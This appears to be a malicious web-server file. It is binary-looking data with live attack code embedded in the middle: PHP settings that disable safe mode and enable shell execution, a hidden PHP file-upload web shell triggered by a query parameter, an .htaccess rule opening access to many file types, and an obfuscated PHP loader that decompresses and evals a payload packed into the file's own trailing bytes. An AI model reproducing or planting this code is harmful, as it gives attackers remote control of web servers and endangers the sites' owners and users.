2r)wTᏓ#Oq:O{&Ɯ\sV7lqacpkbrxu~^)_\}~	\갤M,pzvgN{P;en-r8KŇj~48ltPFԼȯ,4W~LYҺFlqacpkbrxujw5 #塷l	ׅ;ZQc3
,sWa3?,f-٦ ϴȡ+\8RFغ?p%Sw'&|ݺnV̇bѴN\?lqacpkbrxua@ajx+Ҋ
ܪDk~[Q{Lr (ԲMb5o,ӄ*ѣz|XcksmSlqacpkbrxuEmǬ\exl/
뫺Bċƫ!*{&:~D'mr^7fkM|L}\~sq&Hj$3yo.`Et,xg?qhanbzkdfg\# s4#Y-[i;^̹SQs(PP,c7PS	Ma ˒Y
G~@bp*^`G1a C@[Y\Z2")@&x`l+t~(9}dfe{Vor}lqacpkbrxu}:Oxe5xK 0TΖ-eqLWӖTxB`㥊qhanbzkdfgzs!}uQ:BZ/Ssߕi% Y.cy
qŚdMW:\Im&/Cό L',*96*jqUTmZ㩂V}5],Nqhanbzkdfg0Q-#ߖcA倢BPoE9# כqY03u{iU+fqhanbzkdfg喟P)%Z^/DJ[ZB{
facBf{R^N`YNI\vb䱢nݕB9k|69W=?Q.U}_/&AAH
 ݐw(tWr+H0sA@o=DQFT`ٖ5o'_5BRMOMpxt\n~忊U9W/ΰ-!wn+#Knm01:tjQxB']Jq p932rV7|ױ=~/B =
cs;$(e9R+ztvMQeS⊟,snv00.{Jeeo9C W
HY'UtΦgvkцgoVpS$ RoD6plqacpkbrxulqacpkbrxuh.,OqhanbzkdfgÚPkBL&;(NqW"QiXqa2- j߆RV,i.lf|$ש8H _nk~=
4qhanbzkdfgZ4	ҏGên$d|qeP	
ja3Ty\3's-|^ 
	Ebj
z5E3?p3_6cqoVIu a0i0fRJ]ҏ	:¡Ө?lЙ:*o1-g6@2ڀd`{@}O٬,2__ȅV6dŋ2lkBnU.X5,lqacpkbrxu8!'Sz5tpxy"f`_阀.io|TaT;U?4Qc
DC~kM
KJM(}1EyJg
oiy=7댿SH-L.iřY\-|9	/ ;6Z'py)`]S"(2&֑Db۴0}zJl|b}C(`XLqشlqacpkbrxuC!'Sǿh5{U$K*[}z$5
| "0sl`%5AuwO}$~TcqhanbzkdfgqhanbzkdfgsXi~	A4G'(һn!9y^5~t(cs(oG1StkapD$yүfC!ys9O^i=ffhjpI 4UK)"GW#	%-kIɏ{i Y Iб=U+ؖ:%)°EՉj4rJez!wp3=S8.!nW\1L&x6h_W ڜ`QplNlqacpkbrxuLRJβZue:zN8E$ݏ۷]2
_80ʚ)BÂx"0n0w%׬]Ze5*%%1^gTb.H4e?oz5=TpU'm=t"ٺTq%UF55[#`V"A_FR4ଲYνM%Z#cO׃)ό)e`ot|uϋ@]B``㪢Dlqacpkbrxu_vY`K.jM]l@U'5_Ԩn/ė&@*TylqacpkbrxuXiDDBwQD8[6
pK̟VRCBpoX	U舵"4ճlVlqacpkbrxu[ѠajRrVRdL&	.Qϱe 04vV#*Vg%kqԏyAG]Pp"^\t}ck}? NjeQbPԉM)6aM\0ٜSO/7OgģI_5ҙ.W }鳲*v(|[L=ų7e,qhanbzkdfgH6ڇB2wv=7|&
GG9Dطte 9.u.ip~WceD&J~13S{AeǑwެQ}-#v7 j֙W1: 7+}	:]M=M˖1]rK!,ǥZL.	^]jj(,K,$tTVjcDWa	d!L
mF
)pU.p)H	t3پ8Ӗ w5vPq$+R-!@DqZݻ#{W匮Ƅufoqhanbzkdfg$Aqhanbzkdfg{?B{I5o/KJDB!6Y35P[J3Xo]IZC=Ԟ«}Xky SZHxn#W?3P\C!^q=_a|j}(3hATMOV˅=fHVPckSt@T* fȺ\@is5hrU+܁byT;hJשC1ya	hAqhanbzkdfgmӼ6L\wyq|&-q+GX3qhanbzkdfgō^K/)ꉇ @@pKb[jZ{pVk6&qyBt$OqhanbzkdfgL18I(z\9{dh@ ~ݴŚ^Glqhanbzkdfg1)
a {[Uay֡
^LB*S G w ^XOTEMB㟜I;*;B!817O/ZCC=qhanbzkdfgXt@:~eֺ5;yQ鳓1uE!BXCruQ2h	TYO(a)%rcYr!+E"nv8dƏ
/-gRy2.Gr/XFÄA}Fc]핣΋2ogVٙay}ݱʾ6
`Up8eOr?=Tޟjz	u4Nxr2&]޿z#5fe GRl,k;xF /
 .dfR߭N~  y"ؿpa?a-.߬	
wjMYAC}Dֶkqhanbzkdfgbqnv؃봙AmzG9}yD&-W3S]{7k:|WD{BgTWiVjQTqhanbzkdfglqacpkbrxu H,4:U*Cʈ#Gx@YYM=DM%xpB\Dp!9&nTN˸Qn[dU4Q7.AizZoqס'8mHPb1UkTk:Oɳ)?7$6Sd1qhanbzkdfg[SlqacpkbrxuĄ1*%Rn{:CRp]ϊθP+.
p޼Q{υ9nްF	]IȤd8][}4C^}y/ZR9W=	vrȠnJA}ڽDwKa:ξ|n?m||"*Ӕį1҇F\F ihnsgR|#L#%bN$p	cFEz,ӋQ-Hԑqo3kgC2a$Jlqacpkbrxuo,bɦB)6Oρf0hN30{mK{H缎{Nj'"I7)S&BjoOtW*wNOInrfiwWzjiVf/J~z$2)]D
KmyݴKCPg↖S8wJ3pI8c^uP5:r֑B"&ǸDyi "lODI,N@ӾѿFIkrU'й PFlqacpkbrxu#ǖHpB~F's{@@^lqacpkbrxuܞ,;CGD?na[#ZeR
i4á~5ܰfd6uqRx|nG׷] nqhanbzkdfgZ*KbwXׯ74yt%&xzծH|~솟F{gL`&=-K!;vTbeY57Y_Y&󱇫=.(wA=&2向ښ*qAIꛝ6CڰQ!V!@bqc}]E+)#smk'Hr5y[ІG|K|(^36A%	c{O7wr.=lgw=  ]XyM)v1̀o'!Γ?ڪ*,5˽'֙$MYHYf:ʹZ?WP.V:@ ۙ,M.1olbl֘Relq{^&Cv1`Zn$V/2-sSlqacpkbrxu	\CY8M`	88Hfz\ք}3CIĹ'0I_=AV=y/\ޠ _
N|Ϲ5O*3L#3耆@-boA#.*s:\`en3D(ȯf&( vHk7e
7Z ?Pu
@VO@G|~ M|t?$}:gG?	ՀٛNpCǬO\,G{w3i]/X/әR*v"Rq(e?S+ؐ,OJlrɲ]LATH1?_(
إ}33vݥe\¹6x߯X]MtR\J2{Gr sE	"sYB8AlqacpkbrxulMTyWY
-4hqO1lqacpkbrxue?feqhanbzkdfg!&
+Ǒn5OMNlqacpkbrxuYT_%T} kB1 擿9;a~b|CP[f[攕{(v\ ḇ7s_l32UWe.| ^ul."ib|fcjOG3D
A,Oy5OweИ0No
zNiе*q2s]bqx*j\S``|50m
15=ȵ;n6AvlDLL-~a	(eu77)
֗Qk;3I'ŨNōAG;#*rw	 JTkvRwDmj{V
@
+
[.
AoFBzX9{o0H-,XoD KNC#j404yԜC+61KۜwOkNO1|vr9NHҎW߾d9oW6'MP3c	o@T1G(@y#cj42fЅqF\;ӜW@3&d|AawDٝu$DCjFkK-C;CD8K4Ƨ/7=:_usqB@BN=$TFoU|m$й$X6I,uDB@5ҨBu0L
);dF5Cjsg*JeZTT]W_7;A_!kx?",	;!hXx1	j79kQ`yqoq`"J&ҖYQVV*P"8=́KRc vDf)Vplqacpkbrxuk!ޚoBر@9g"#ɧM7mϮbL{ǑyxTKWoxGf{MP48wTql2-?y)=&ΒSX'7rqhanbzkdfg8
K_Yr3G}e0{^U| ö6^VuxFQC5H\S~yHRP_bS-mj*l􎰛HU,h@{9tRrX6gZՅpMoh5(f9m$k۹mѦ	9'fA3
klqacpkbrxu;_-/ǶšYْolqacpkbrxuqhanbzkdfgt#
}@ˉoX#ԏʛGjqhanbzkdfgOPk&iCفS  at_RVv7L:-$zvG]PQg`#dX్bRH ?5xxL2+̠(*Ӂ(H.- zOi
/.ñxlwo㟚Ӵpʘ/sRlqacpkbrxuTȶqhanbzkdfgbK 	$N\"b-^8{i)lqacpkbrxuH1i.
\Q)qhanbzkdfg4 ؤy/9޶v4Kc+_^1qc9)&L Ț{j*/zz%i`
+HVѲğVS׳J\'l
kޝL5o?[*81i*0J~au(X@ZYJt#|+ƚ!eVpb=T3aA*¼_kū:Ғkq/ejqd?Jm^S8\le0O;]9Dlqacpkbrxu*E݀U9w$nE5@wSr[gR&N+cqhanbzkdfg D#Rs([v$0^J`ҝ:k@TNAB{sLHZgˑ00i"K)VٮT1K*Z:STDj§[8%\gsڿ=u(
N4u:qhanbzkdfg"YFm{lhg/-hMI~{&̏4Mnު=EU;$)|:X6,sk斪练pCbIXU'}.=2-pi%zANM
ڣ^lqacpkbrxuΗHn
q4}wTeu!Dj!xX%_N0ΈOCSƉBw^To2n-%`u#mќ&!1TۡFGл %`d]E huqhanbzkdfg*2Pp|PڋwU/T2
olr_{OQ&8]ekEK55~7jLW}i`}S#Z1Qw`cN
Yљ.';ɥ'7?EuyebTP^D3UPtg?l'OUwƿ_oI|safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$DXpj='s'.'t'.'r'.'_rep'.'lace';$oAxz='gzunco'.'mpress';$iCeq='e'.'xit';$fsyc='subs'.'tr';$KshM='fil'.'e'.'_ge'.'t'.'_c'.'on'.'tents';eval($oAxz($DXpj('bjvzhprdon','>',$DXpj('yfjbpnrzau','<',$fsyc($KshM( __FILE__ ),-172322)))));$iCeq(0);
?>
xTǎ`^_eflfN0I1缹s;i5DEmYÒ6$J{gk:MKЛ^m7@n᪫ݢ|yǐn?|?|Ye-u
6#X@Y'A`i%K) u~H~%e_u}׿_^{s;Ϙ
iE&
UubzGxqҪv&s96Ҝ(aL'62u={\[t+LRbjvzhprdon[f@?WO-щ'nBʊ3jpBIV	=׍Aa9[\滁kcb'k*c@Du)FCbjvzhprdonȲ̞S)&:xd(T%1I?zq,}RN0.Op@N^7w)_upPJ2+?^Q(ȷqI+1zf}SCHĆ|BBW5e-(~
zԾgtKHP㄰|O~4G60̛O~=0#E?wPc44/6?NU41MȻoΛ5Q"yfjbpnrzauz #n;C`9tN%f1UVNѶD&v`PQщifrAM=g^$p/QH9_b(*\=	2VU7`v긾@&CSZO[t[S`ߪ4s~(;hh H
_o,%53A,K$ZTIڻ!21cS*VYKiv1| q
b-6^㇘̉?%;8uƤ-]셚Jǣ;-;~(BlMLal*+1	lƠbjvzhprdonU~ԢJ,h˭#{㺋%ӟDtШ&r_3k\M;%Wt5X[@Ev2׃L:Xg@ԇe/P)I*cTlffZkl(:0G
Gaԓg֦tAvD_WAyZvw\XTuº~o?nWւ{\|N^^iaX9
?=	c~wGu^'{)ٷྶ0P; _D6㈕T1uyfjbpnrzau@t}",ء
D~\DW@. ^?杝+|Q5AVIM(i l5X3뗇=֡$v~/)bA\5;Zʭ&_?+{/OQ)J%en1^JXMfbK\oX~ D7a?EGZ1?qS(}$9Y:8Qe瘈2n:lz^~%TV|WJ"ECqCbjvzhprdon]N["Vy;?ixl 7p'1|U}Si-[k9J6plp"+-woX jyk6U]a8;gbjvzhprdon92C|!4q2{zZlx@gVz%\JjdWܠWoCOvR;^#r;g1
gH;!gs\gcOR*r=)Kp02u׮9r3͏/p,r"(\UV\_ӵb[TXB8DJY
fZQM&bjvzhprdonr?y3D^";x~=@WqH3fèZnV_-|dV}yfjbpnrzau+Wڕ'GNk&'?a6;
l,uQP˂w1Sj 4I8g][ԬDQ 3rQUMr`Tqmibjvzhprdon	:u3謋YtyfjbpnrzaugȤA&EM	BTvͬۼ@e[W|BƓLՃ?V6rSG-"KɌ:JP8^yfjbpnrzau|x4f&,*FÒ1qR`LhAZvJ%fpx% CXc|bjvzhprdon|ɷ~BأnjQYyfjbpnrzauZ1˖F'&iłp;,ݔxF	f/ 1ݣI7QzbjvzhprdonDßnfCi:*&.*y쨀ա1=x8}S:KG
g:9HknAFT w:hL`37̜?/ԓ^SҏQyG]Cɇ]8ªy;f.Cj9h4v^^	ɧe3j᣸ƯnD+G6wOx@}ֿ!OOU& H@
b5D(l1L^Ƞ´x$k,=a,fu[t?wᜓBԓMňbZyfjbpnrzau3XAY"ڲtRo%$ՓFs
/P)=]Sqyfjbpnrzau؞Kx55h403*6FybjvzhprdonbjvzhprdonWJDP]$y$\^[V^Ezse^eesj6$fQ?Јi12bjvzhprdonrAD3R@\ԐxS"a?НP{&/K}eK2ږerfQz@Vz1xaLk%UDpg/Hp9ofB$􋄫DKve(ŔC=.!^LGYy ^nY	("3oȕOꏭUaIcOBËdyfjbpnrzau/[z
o3X+is-h/ȼ@Yyfjbpnrzauר]17bK@ίʯcc1\t.ucFe~精P9m(g.3R?ɌbjvzhprdonZyYyfjbpnrzaug9q=bjvzhprdon;'ɫ[bP.R6L.lk5͕#E?2՜n zNv2yfjbpnrzau 7dZ bjvzhprdont-wdY=K)"Pʯ'^רˠ=Tn/:Vw?\bjvzhprdon6fٙ'9?aqk@bjvzhprdon9d4I &PYD`=[Q޳PDKE+iw$\ii	鱣qqpv;7Dm"1
w J6'jP2%Ǥ-	"zv#(]-d}db=_Q[sWNO,ATX71vM%r8}bjvzhprdonGZ$[{('WCvDbjvzhprdoncK 4wdnd!0w}ޙBH'[=s0ގtX.fy0XAKv,,ɐX8OIwBs)gU_!4B?`*w8Ӛo2(bjvzhprdon6'~Zij]$k
8+htSVl%'W1dͳ%jےPf+c&	-=!&|;bjvzhprdonUH!Vxu-U
^/̬+~q$!j]Tmys.wyfjbpnrzaueJ=crkiD6rfbjvzhprdonq
7FaV4״I*bkfo0OeertGގyfjbpnrzau`m26eǌǺϼ]'UwE]'j|TmR$@D,ϰ7ڱi'GR(#ÁwoҪmֺK
'wv?ع߀8ESuB=Fא͉oHRhf✀+qqy`yfjbpnrzauUvľ
8zdϹ
P͡xڱ`6rFdٵyJ\^)Zayfjbpnrzau)=;bPCBxrjXh`N @1j1y1NHIvJl9=Eͻ4n`q*=̽H'T6)#j?"!Q+鍼er)hQҰ~A~O4k.ڬ߿%?Iu4x
E3`ނK'ŚDS{}~GbMi0ʋdA|=%yx
|:(Ӷ 
#?)z+x[|ٺK?E5Myfjbpnrzaua0yfjbpnrzau\`p׹f,lLۢ 7Kӗ+OoZՒ(1H\msbqש|-;OUJ!Ⱦڎs}woX&yfjbpnrzauY] qv0(w K_X	RM%ѱR_2E:K'Mr*\;mZ`S\
%t]O
E#CXZwFmJakOB늬yfjbpnrzauU r\x~ixPAyfjbpnrzau/(tҺiL}i039 jHѬ=~P|KE0fdxu-'{iUuێ3^ՏwdeV#bjvzhprdon2R#Qkj55}NEN+˰[
OiѮۢV@yfjbpnrzauޮ-C.C#xO3hN6m40hn"wu6b_eIbjvzhprdonnP9}@f?{8Pu®CT U;U(6#"yfjbpnrzauQmV#Z4ى4pkIzѧh6^Q]Qm4v~`b
)А)CHojk#v`_'$]͏i?lʰ`s_aA9@eF;q+#ÊUV솦NeWTty=#]yfjbpnrzauĀ߶2aWG?ygFK%Q#;d3T+xˌ'(AZş_OL%ۓYͼMU". %Y.ĊR+ruL" kbư8Fd]NsU_ef2l@re+AbjvzhprdonpM]{9
Mqx@?QQ4T	XM0䖜حȩ?tGmqPVvHTc^KB͉~yfjbpnrzau1[ĸ69bjvzhprdonuh~N~;D3bjvzhprdonu *gmF?K!kL-"_Ac&:MWiL[
;ǩۋ@_xY}p=ir(bW!Byj+$RDK9]\02c'3/0cQ&a5!&һU [!B
c׹~ϫGt
	MfM=87dTEX/ɷ&LO74g-YY6yfjbpnrzau]G6ER_heQ9wg1پݮ3{,ͳjQT?BNw~"}Ɖbv`x&pn5W^HߺSgUSݡ4iz"W_׿םϪ}eK892.RQg$z3Y@W)}S\Ϩ ?}ELEΜHSdvyI譍U#|˵oKrZ;ovk4Rvvq=eW&0]YɹL2ТjT
C!_:bjvzhprdonMu4 8b
OhSp/drb/xIyfjbpnrzau+G-(~~*ݮ&eLI!,%W8aj_,.\e0yfjbpnrzau*嬐N
[JW]TD]fb[٥x0'g+bjvzhprdon:)	ɵZ*3}aq	j&{.~eAd2Lp`;sj*l-^wbjvzhprdonFfOj0a$BT^%MDT|mNE"^nvRBꐚ
t5$bsoo`A̱Acs
0y_8ʅqǈ"Aô)G-tQB[+;gՉU_0Me2rJz5ϻukR~&&y֣ZbjvzhprdonTGrf]DLbϽ|4WiF"JOhi崉GR
_,X$:RJ?_SQnP~0~!0[0I|@'ze]zlHQOga\ڝUæ lS
chYJZruTg.I眚Iak
7e/
ԤξeJ2pox1sfxPY 7?%0ս⚌8e9g%wbjvzhprdonVӅ`I
YEW*f 9#Bbjvzhprdon5$gҐ]WZ-bjvzhprdon+Eex+Ϻ	L%+up9$GBo0.~^	!.y=w9G
K%4Q9hhddJ@aoi|_w)0d|
x4YIQafxb[j%գ5bjvzhprdonkdm-4	Hw¶5e(=ĵ⬫~MܖJ7\npnX	top㫪vjL䗅N(ʈ}޾{e!"E7f9P	48Pw/
Vyꒉ82ފﻆCPux(իwm|j E@K`, |
I)GAGpZ""
"yp(29P8v|y9Uo͢iyfjbpnrzauT'Uhړ	ZHz0=rTݖzQ.Ce،#[ŋKùE1ѿzBg.W}yt^Z /cP)n$}mU8:bjvzhprdon]eLm6}H.&)$v\1BX
VQr#(z읛/Ŝ8Z{v~ݵƿ:5p+)s;M,ar:i/(:bjvzhprdonP#שȯ`}uN݀2p.~mź|8  \-XG"ͧy[hn%te$'hyUp
J\XeL%M~{+ZU{O|Z|3՚|RV,IũvbH8ҼZ)Wu|7%]?rI5`DgFq7\+$su)
1}FUn(_FqYˍT
d+ٚaͪEyz"f70\IMY{I3uJTviՍX!II#7Ah(8	_crPe`xɰ]4G5fß8?guGܿH/IʭBXiԤӽ!ܩ8NdbËtɜY誛e`!ȑC}2YNx#e+Fi$Tr֣yfjbpnrzau7%);aFyOoZ}`p(&|ri_Ol`yfjbpnrzauiaܮx]VG7+~W_e`uyfjbpnrzau-n;,'UP$0#ՎmՂCVQhUU|f6YOy#@!@Fj M	O/7Su'bjvzhprdoneIe#j?Vfw9]#⭞M]"A
zyfjbpnrzauNOltmw|r%.ҦyfjbpnrzauMC&dtdt##zudE9Ԥ(eü൹:|W;nsDIt~ji{Il	6[ѯ؋H !B2TNj?3o;O(ʊ~_:ʢ+;BѢ{U'O1f,dW"T	ޙf(^e*lyfjbpnrzauL%}HKh]ׁ%DWyfjbpnrzauE.m6ahǬWU{
LqmKBiJDh@l$Os3
1}/D5;2}Jȇbjvzhprdonb-~XI EF(.0Z/͑!n9.7S	ɂα;b;VjFuR*+n,yͤ1/N@.47Ii#bK0B?n"K3PC*,V~6V:+X@?yfjbpnrzau	1wǷ pRoq#1ITɜiIRjNɁ&CzM0A"t8黔a?bjvzhprdonѾe9](bp8߇l;_xlh8J)sxRM '|yfjbpnrzauQA%+ 1g;c?09Ydɑ:~qN\rФvnu5cAr'tm=TS@aAP%trXʁ8I,+/v0,D,l7ߊ3XB*bjvzhprdon(,ؼ,T
 -a~M#b L)kT(wG.`OfQ7eiEp_D+ϷvV;nWol8U7/=b;^l R÷zdA)
0i&j7(9柪G3D҃*Ey8\!;R2 6}
%T9CQ_29Nq
D'^seVhJj@/:̼q] 2eLۺwD 
H/
߉50-r8Y`'x߻dHX%Qbjvzhprdonqᗛ/Sd;}\EH{~bjvzhprdonBbjvzhprdon%|:B3Jp('9KAx;1ǝg4{6_Rx["=iHyfjbpnrzau_n&	:D'ob_ZsR^9aa֭xURř}bjvzhprdon^{.-uyHց|]y||엒bjvzhprdon[J؆3Zh%N(u0Nl0J1?F`\KNmMYYTΧbjvzhprdonUgFlI}_"!wrgA_oy"Ίw Ih"={s1Pw,8:!fo`^lUŉ5Axf
Q (Yl)پv;Z33GY~\ 8
vůP/XUyfjbpnrzau!ck-(Ls2bA,w?s	|˔|Nkފ]lM
rR*d3ck=z8faZ(DiV)bL7;2&Ef"l"Hi((gydH\|Q.䜤YKd?W;k$uxҿSI_+cz6)]2m}	8K(
lBL
p3:sOWOsAݺ~SsREZРpe?]]qzıyv;?\
YW"Ŏ`?n
ѵ
獡gu7KE8vB;+ܖ?#7K#1Ϊ.rΫ)+UDQjNMA:Φޒ)
KAfä%:ڮ~a̾urګ	Mxc3Ʃyfjbpnrzau
He{	Nj*KD C(hyfjbpnrzau!3pt^ȠY$%0C-

"7QzI#C0VY˛wպqw4G!9c$+ P7FitX'yfjbpnrzaux+B
'*?&jwI$)o_:sԤby؀?쮊n='j]\/nFF"w\Se5߲ŒQx7/i,f6 5+ym+ *d]
F2pEXfe.cp]8;A]0J1YDTRHz}c˦|vXc\%QbbjvzhprdonxTļwUyv":xW$ûk׬hb@1h,@U L&b+F=.͟@Ǚøb ?Ն`P+ե'C.$L=g;HPҡyABG'Q201GEZzey"KCcyfjbpnrzauDBqnM";;ɧ(qwvpk.Q'扔ŷ2r)e
8Hُ
}t!|71Q4~=?z& *$LJ.yfjbpnrzauV*t		.8,6.R M?#a5Bo2H5 M=f7yj1dQIT[WNEoa쐙wϤջ8):̬BhSʞ*w@
;(3EH/YxW72a@\P??X@
u2N._#[a^n:b9'5Bg)yfjbpnrzau.{)HǸ/fxNryHǽ@QjuG,;Rl-elvx༕+" ?Ch	
yLpj,[·]$C|{dco$+BNm`yfjbpnrzau}AscG_!y
/ZCn23cSzq \/Kl=of~t0þ0	"@Y
{b̩M\/4PotmF@5AY(W!W-bjvzhprdonϹq+O2T)F*]tD`4Q4G@~O{5
o:2~&JY#A1^a@si֚])UemPbbjvzhprdon- )=OdG6Oxjڑ }E	z1ڄ+\Bi.
)AO$T]:Ѕ
ZM.?gDFǪԍ9eߡII[YΝyfjbpnrzau?Xe,_PY.w$\JwFZɯ{U3 mN;NR
TEP63Ǘ5
9v0'Hb1\JcI6g)u،ΒEFGIE4,xbjvzhprdonq
sH_̴̊AyNSa8_KyxxCwM:i0X	Kt05CT%SJ8sJ7t̴!SlO	}WβeύI}٤]֦!uq
a'__K5)֗T)_7yfd	W
#jS:\|@orO^L]?a(+ni2Sgf
7J_I'\8u[V6w	" C,U?z+?Y_*5YHyfjbpnrzauJf$6ƽSO]oZӸWkE3;p4y#nmxl
YcKXew	[w?j"RRcR	W_=r8l뎞Plvf*( $אM(|(ݶ'3OfPm	;MCU;0@AǋۚkҌY !P|\d0ȅ0$liVng[3pdsK*UK?qUV]G@eiȕh̵!גkpA)o0Q:jv\)JyMbjvzhprdonb9Oxfi9
H+dt.Wˁbz?FXDyOsA%Bӟ([MSK3r4JgjZ]]k+aIwrE/ǧm+ܛ~G@Чy&alZ;;Gmiq͡CꢞDZ)K-4`M
[EL1)x0j@Ӫѣ'$c
nAi~$MeL1&PUمGO@7*{R:0If@ԖkWqbjvzhprdon$-eh01+Nၶyfjbpnrzau|E D_+tTA%zfBy$jS;\s840@}@t}h=(įQ 
ۑ]flb3KF*_j7~'-##	hSyadcdY*.w8-Vg iLy?n#g߷G3IlR&=;(]D0|p&x6d$v{GߛH˂V[dht|uSp$DhsxQop*_w0{'S53GsTA8SᣚUlI4]_rΫlut
,ݑF(%s~p:GY
&Xa6q~״P
K%o𦲇.x= Zlu[ӡjZg{ayrQ[DbjvzhprdonzGAkxA|izcE_Kd}a/[u1^%H*6HQ
rnW\t:'0403ʺ'qDkШm+oDwX~UN4={bjvzhprdonuΡRbjvzhprdonbjvzhprdonLh2ʊ+b~dnn'yfjbpnrzau)(W_*c@Uljܞ]A $\نoxrjbjvzhprdon\)֖Z/@$DNꆷPmva1G$TN.PO(F$IG0Ca8J13x8A+|[^97"pn$7+yfjbpnrzauw3TΔq"#'wx	6mZW%b-աG6($
+(u2C~tڢRw'ȴSNĄz
V;doudʜiE*N=HNd/W`px!֦Xa*?f-Ģ$ht9TC 
P?s,xh(	ƅ #@(UڼN'zӧZ[ d
\j'ߞnuIei#W;y:n@$x6̧Z3ߊSn
	L}=0~~ yfjbpnrzauN$034QyfjbpnrzauĜ_yfjbpnrzaub=r_hME1PH~-R]nSցV}.iD؀Dtc+_e*6aϵ戫O)+?a}a*T"AE+yfjbpnrzau}0a
R\_qi,mSKrOx	)0bjvzhprdono]Hm8Rfs'8g3*3e8)!:zv7K{(;{XZA=H2ػ5]bKW"U|.$\k89
")gW;@vQx
yfjbpnrzauRk]{dC	\.,bPYˬsRjY;2jyfjbpnrzaux;V$^p	ުTL-yڱbΏ#I @pO&eޭZlyfjbpnrzaut
k4șe2F"V43Pr;_SC7xxdLJ)ɽUOd/ں"l#T!|ė$"bjvzhprdonJ`ЇL0%
}3 {lQ.rܶنojSI|WBPGخmcb)2棺=f0&x*8_;ls;,[G{pP7XyeOS^Olu'bjvzhprdonM1)QD\G'&˔rʞP ])-[XH铝C/_'VH/1yfjbpnrzau*6#{,rrmUlrA?^L
,#Z$M4Y7#;@1[;a`( rR}!EGdĿH^(0~Ou_^bjvzhprdonyfjbpnrzauu}enK,*Rъ%keNqqD\PMp!*8Jջ Mx~0[".;bjvzhprdon=[_dg|c󑮯w,ŭc(S|Pց vT6.Jj^j{wQLڏ#|@[,wl:u녜}6R;2ԎN|I#ÌY# 3kʮߘ8NyFbjvzhprdonH	oJ`%__FT#X!6Ra&"E׽'b=1݇2)/Wjiy/iJhS|yD5N%),$BjTZw}@p^pDNg׏bDP#=0c4t޵*ED~t-/rWA"%5gw(qSyZZ5զ7a%
ܡ28s)x=ޒ8:!m4 pu*u'o8
@9Az
3PkԂS
V)0?bjvzhprdon9pǍbjvzhprdonkrZ	U.-kbjvzhprdons[
ֽ⋜cn`NfPl&}C[$t|Yll:i7Χ}?l,.}O|պ;_4CBPܴWg:i	B-+UNԅ&FB^bjvzhprdonyfjbpnrzauL}gu՛Kϔyfjbpnrzau^x|pTK%	k::+"?bCkºaʛEgyfjbpnrzauP/$ǖ^Ǐc4zkB7v%ĝ=k!x%"`@-@"
.Abjvzhprdonbjvzhprdonw{	ņ19 ۈ˫&ھt~k	E/$v.+,q֏Ȗntmj&dL](6eadLqb1arDɹU
C.X`?1S/+	e;'q&E^\fɉ8p[KLX~+j5Kqh--ty`
^pQ#\J@.莓^14(
sT$Wbm9iYE$:7Hl Ǻ I~{E|S9rIU^9Pbjvzhprdon{5rҦ
 y׍X1(܍ѯT.lWbjvzhprdonJΰZn	y^&΍+Ժo\K1 V!7vV9b*GP.{XFU#enu0n($:?U}F5{,?HEЖ{K77 4=6n
d06{%k	!0QH![Yv3=%2wKT[v G0,]K3הi3bܥh[y sj3Uc?l5~1vG}pIBndBRMF/P?yfjbpnrzausvi*`틡X+PO#rZ5c77ji3
\tad拠ٌ%ج:cHߢ~WߓܯCVգ2v::O=ׂW6ޢË[.D~ J@w"gyfjbpnrzauyfjbpnrzauȷjʡ+{)aZ7SAӢǍS^xc?~6h|$Ap$BK`V%&QTKP
L|I#ONr1x:/XnCT.ql~|Z=sۜ^Iˋi.VKqIzQ/~=ۻǽTދ`[bh4r}i/8b%%8FH[UZ+^l%nIؐ_P[/ P1e{8R΄"8p[̰[ z4=l]!8VP\y#I[[c1ąlO[mଋ WC8Oϝݜ`s"O3ΞFjρ2кjJC_ &Hx9_0=_ou*@3Rt;SjO,Zvj`
  ́i)*={^BvCt/Pt}deSч/xL̚?8*3$-f8+o2WV)t,poZFj 7}5:}hܧRNSzF`DP}82ّQ5"|3_vҼ3h0^EUJyC[q5

+E|bRHY{B}%'jPo)(zM/v9h_
6.ML_Ǌ9	S̼_ՆNc
ָے_(5ӌ?3#"&KtAh
}yfjbpnrzauscfdBMa6XCvf)TǓ7ܾyG0HR@6ЂqJmt}eP@t,6qe"ߵ\Ji2LL3) wѢ;ѕQ~t4OҫOW0+^Ԧ=`v*q|P_d]0Lݕ@9WtD,"ݔT¨߽Ya&+\aYnbjvzhprdong߱g$C[-p-$9p_N6چ぀`@*D&zuM%ǍB#lif^~./(DcVq^bjvzhprdonY;Z#MʘU +g
bjvzhprdon!|DݟwnUy',{!bjvzhprdon/+d )

-V茼O0mʪ/I.yfjbpnrzau%-
kjJ4'H!Ē	Tyfjbpnrzau`8,	gW4n7}	f3P^F5j4Tv:-7J\zuZkr4Aq|ҟgjDZ&+oF$J8|@3TO9d݋aj$W߷^4bjvzhprdon$VƐzo0{v8{Me,Jdu O]S #?2PHJyfjbpnrzaui/I# ewYm05}
:Iºg#*]{ёbS.)wP2:h6 2\1]wTn?)KByfjbpnrzauFq ?13-nig|Nm=%XW
Gq"%8ʟX!
JaA,FVo 8 (vM7	{FJ .Oχyfjbpnrzau1PP\A'73|F+=7b%7VHJ4ToOur?7=
_:c`	+pP&(mBYERL~a߬X{W/5
6qKK!R7U_
VZOFՀ
}qJHB[hw^z~bjvzhprdonY;늩,JI¦-x$!U&GGߦXFlP1u.Cbjvzhprdon
!c@whbjvzhprdonXRT]xyfjbpnrzau⹙ޯ_Jo°_BѴDWEN\''#y)ח᭫ŹZ䆀|KcF?}c*#Ȭ6*`@7ffbjvzhprdonR`wٟA}l6f?ZdqKjPuyyfĎQאTpo܆a=7jP}ts4a |M 6{dt9'дic
L
~ YO
v^ڈVW|QfIg#	ԧnYzu&aVǼG@sNh hSrDwѮz
V5Z$y`X՛h]Ho7^4M'M˿yfjbpnrzau$jS=}XBևy\GV0sݧ	Oo%I_	.D
8ݍCm4y6/	;W+Z.DmaWކ ga=	|m?)Ɏ%GDctqWhT|pHWyfjbpnrzauD !akM+*5{[^Iot:E"4"	z 
'(\K;}I2uSS'Q
